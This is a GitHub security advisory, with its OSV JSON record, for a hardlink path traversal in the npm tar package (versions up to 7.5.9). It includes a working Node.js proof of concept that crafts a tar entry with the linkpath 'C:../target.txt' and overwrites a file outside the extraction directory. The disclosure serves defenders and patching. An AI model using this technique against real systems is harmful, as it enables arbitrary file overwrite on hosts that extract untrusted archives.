GHSA-QFFP-2RHF-9H96

Vulnerability from github – Published: 2026-03-05 00:52 – Updated: 2026-03-09 15:49
VLAI
Summary
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt": 1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false. 2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt. 3. Hardlink creation resolves this against extraction cwd and escapes one directory up. 4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files

Severity
8.2 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T00:52:32Z",
    "nvd_published_at": "2026-03-07T16:15:55Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `[\u0027C:..\u0027, \u0027target.txt\u0027]`, so `parts.includes(\u0027..\u0027)` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(process.cwd(), \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: \u0027l\u0027, type: \u0027Link\u0027, linkpath: \u0027C:../target.txt\u0027 }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n  fs.writeFileSync(path.join(cwd, \u0027l\u0027), \u0027PWNED\\n\u0027)\n  process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs \u0026\u0026 ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "id": "GHSA-qffp-2rhf-9h96",
  "modified": "2026-03-09T15:49:59Z",
  "published": "2026-03-05T00:52:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tar has Hardlink Path Traversal via Drive-Relative Linkpath"
}



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